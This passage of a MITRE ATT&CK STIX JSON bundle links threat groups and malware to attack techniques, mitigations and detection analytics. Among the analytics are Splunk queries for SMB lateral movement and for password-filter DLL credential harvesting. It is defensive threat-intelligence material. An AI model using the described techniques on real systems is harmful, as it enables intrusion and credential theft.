","modified":"2022-04-14T20:19:51.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--65873300-d130-4ee0-896a-7125633ba788","created":"2022-07-08T12:39:50.584Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. ","modified":"2022-07-08T12:39:50.584Z","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--658b16c0-1d63-48f0-8ea6-461410088ca1","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor for newly executed processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--658f822e-f11c-4c36-8097-8dd21f45b42e","type":"relationship","created":"2021-09-29T22:24:15.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T22:24:15.643Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--658fcd28-934d-4077-b93e-89af9512de5f","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 Emissary Panda May 2019","description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"},{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"},{"source_name":"Nccgroup Emissary Panda May 2018","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:33:37.243Z","description":"A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can encrypt payloads using XOR. [Threat Group-3390](https://attack.mitre.org/groups/G0027) malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.(Citation: Nccgroup Emissary Panda May 2018)(Citation: Securelist LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6592447f-31c8-46d0-8e88-47584fa301f0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2020-03-17T02:38:07.464Z","description":"[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of modifying the Registry.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--9ca488bd-9587-48ef-b923-1743523e63b2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--659462ab-e1ed-4370-9810-aa3efcb060bf","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.692Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) performs UAC bypass.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--659dc38a-76ca-419d-9317-d55ba9de5f73","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:22:30.269Z","description":"Monitor network data for uncommon SMB data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on SMB network flows.\n\nNotes:\n\n- The logic for Implementation 1 is based around detecting on SMB write requests, which are often used by adversaries to move laterally to another host. Unlike SMB Reads, SMB Write requests typically require an additional level of access, resulting in less activity. Focusing on SMB Write activity narrows the field to looking at techniques associated with actively changing remote hosts, instead of passively reading files.\n- The logic for Implementation 2 is based around detection of new processes that were created from a file written to an SMB share. First, a file is remotely written to a host via an SMB share; then, a variety of Execution techniques can be used to remotely establish execution of the file or script. To detect this behavior, look for files that are written to a host over SMB and then later run directly as a process or in the command line arguments. SMB File Writes and Remote Execution may happen normally in an environment, but the combination of the two behaviors is less frequent and more likely to indicate adversarial activity.\n\nAnalytic 1 - SMB Write\n\nsourcetype=\"Zeek:SMB_Files\" port=\"445\" AND protocol=\"smb.write\"","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--65a16e8c-47a1-4327-8eed-5cc82339807f","created":"2020-11-25T22:46:47.409Z","x_mitre_version":"1.0","external_references":[{"source_name":"Dragos Crashoverride 2018","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) had gathered user, IP address, and server data related to RDP sessions on a compromised host. It has also accessed network diagram files useful for understanding how a host's network was configured.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Dragos Crashoverride 2018) ","modified":"2022-06-30T20:19:13.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65a49aed-072a-489d-816d-d72dcede70d4","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T16:11:37.962Z","description":"Monitor for newly constructed files that may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.\n\nAnalytic 1 - Unauthorized DLL registration.\n\n index=windows_logs sourcetype=\"WinEventLog:Security\" OR sourcetype=\"XmlWinEventLog:Microsoft-Windows-Sysmon/Operational\"\n| search (EventCode=4688 AND (CommandLine=\"*regsvr32*\" OR CommandLine=\"*rundll32*\") AND CommandLine=\"*password.dll*\")\n| join type=left Host [\n search index=windows_logs sourcetype=\"WinEventLog:System\"\n | eval File_Creation_Time=strftime(_time, \"%Y-%m-%d %H:%M:%S\")\n | where EventCode=7045 OR EventCode=2\n | fields Host, File_Creation_Time, FileName, FilePath\n ]\n| eval suspected_dll=if(match(FilePath, \".*\\\\System32\\\\.*\") OR match(FilePath, \".*\\\\SysWOW64\\\\.*\"), \"High\", \"Low\")","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65adbdda-7069-40ed-9825-b79ec87e4916","created":"2021-09-21T15:47:37.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"IBM Ransomware Trends September 2020","description":"Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.","url":"https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/"},{"source_name":"FBI Flash FIN7 USB","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:49:01.034Z","description":"(Citation: IBM Ransomware Trends September 2020)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: FBI Flash FIN7 USB)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65b58e05-916b-4840-b0a0-bb7fd8dc3f32","created":"2020-03-19T23:50:06.540Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT34 July 2019","description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. Retrieved August 26, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"},{"source_name":"FireEye APT34 Webinar Dec 2017","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"},{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"},{"source_name":"Unit42 OilRig Playbook 2023","description":"Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.","url":"https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-06T20:34:09.521Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used credential dumping tools such as [LaZagne](https://attack.mitre.org/software/S0349) to steal credentials to accounts logged into the compromised system and to Outlook Web Access.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)(Citation: FireEye APT34 July 2019)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65b695b7-ce85-4362-b174-107e26345547","type":"relationship","created":"2021-07-07T02:18:34.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.749Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65b98884-b04d-424a-a89c-c4f52565e160","type":"relationship","created":"2020-03-25T22:32:16.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T19:08:57.164Z","description":"Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65ce8ea7-b997-4bb3-8fb4-9259567f492b","type":"relationship","created":"2021-01-27T16:57:46.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}],"modified":"2021-01-27T16:57:46.761Z","description":"[Evilnum](https://attack.mitre.org/groups/G0120) has deleted files used during infection.(Citation: ESET EvilNum July 2020)","relationship_type":"uses","source_ref":"intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65cf270c-174f-4733-a755-35e2171a529c","type":"relationship","created":"2020-01-14T01:28:32.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:28:32.277Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65df5b73-98b5-474d-8ee4-0b60b7291712","type":"relationship","created":"2021-04-13T20:27:52.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.229Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used a customized [PlugX](https://attack.mitre.org/software/S0013) variant which could spread through USB connections.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65df5db9-2a69-43b6-a45d-e8cd5dd24104","created":"2024-05-22T22:16:31.457Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:16:31.457Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) engaged in password spraying via SMB in victim environments.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65e9d954-30d8-4354-ad5c-3a6d69867a7e","type":"relationship","created":"2020-12-29T18:26:03.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}],"modified":"2020-12-29T18:26:03.883Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used valid accounts to access SMB shares.(Citation: CISA AA20-259A Iran-Based Actor September 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65eac98e-82b8-4592-a121-bea99f80dc87","created":"2020-10-22T20:25:26.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Accenture HyperStack October 2020","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity"},{"source_name":"Talos TinyTurla September 2021","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html"},{"source_name":"Recorded Future Turla Infra 2020","description":"Insikt Group. (2020, March 12). Swallowing the Snake’s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.","url":"https://www.recordedfuture.com/research/turla-apt-infrastructure"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T16:22:40.020Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used compromised servers as infrastructure.(Citation: Recorded Future Turla Infra 2020)(Citation: Accenture HyperStack October 2020)(Citation: Talos TinyTurla September 2021)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65ebc3e9-e5c1-402d-8d1e-873689b09396","created":"2023-03-14T14:40:57.897Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T00:04:21.132Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has targeted various collaboration tools like Slack, Teams, JIRA, Confluence, and others to hunt for exposed credentials to support privilege escalation and lateral movement.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65eff720-b419-4e73-8f6c-c3dd07b78484","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.746Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) performs a reflective DLL injection using a given pid.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65f12d79-f04e-441d-8068-1962963c4965","type":"relationship","created":"2021-03-01T14:07:36.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-03-02T18:15:56.488Z","description":"[LookBack](https://attack.mitre.org/software/S0582) can list running processes.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65f2522d-4c83-4862-b92b-9385805d54f1","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T18:41:30.985Z","description":"Monitor application logs for any unexpected or suspicious container deployment activities through the management API or service-specific logs (e.g., Docker Daemon logs, Kubernetes event logs).\n\nAnalytic 1 - Container creation and start activities in Docker and Kubernetes\n\nsourcetype=docker:daemon OR sourcetype=kubernetes:event\n| where action IN (\"create\", \"start\")\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65f315be-e62d-44a5-b21a-7211041a75bb","type":"relationship","created":"2020-05-06T21:31:07.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, 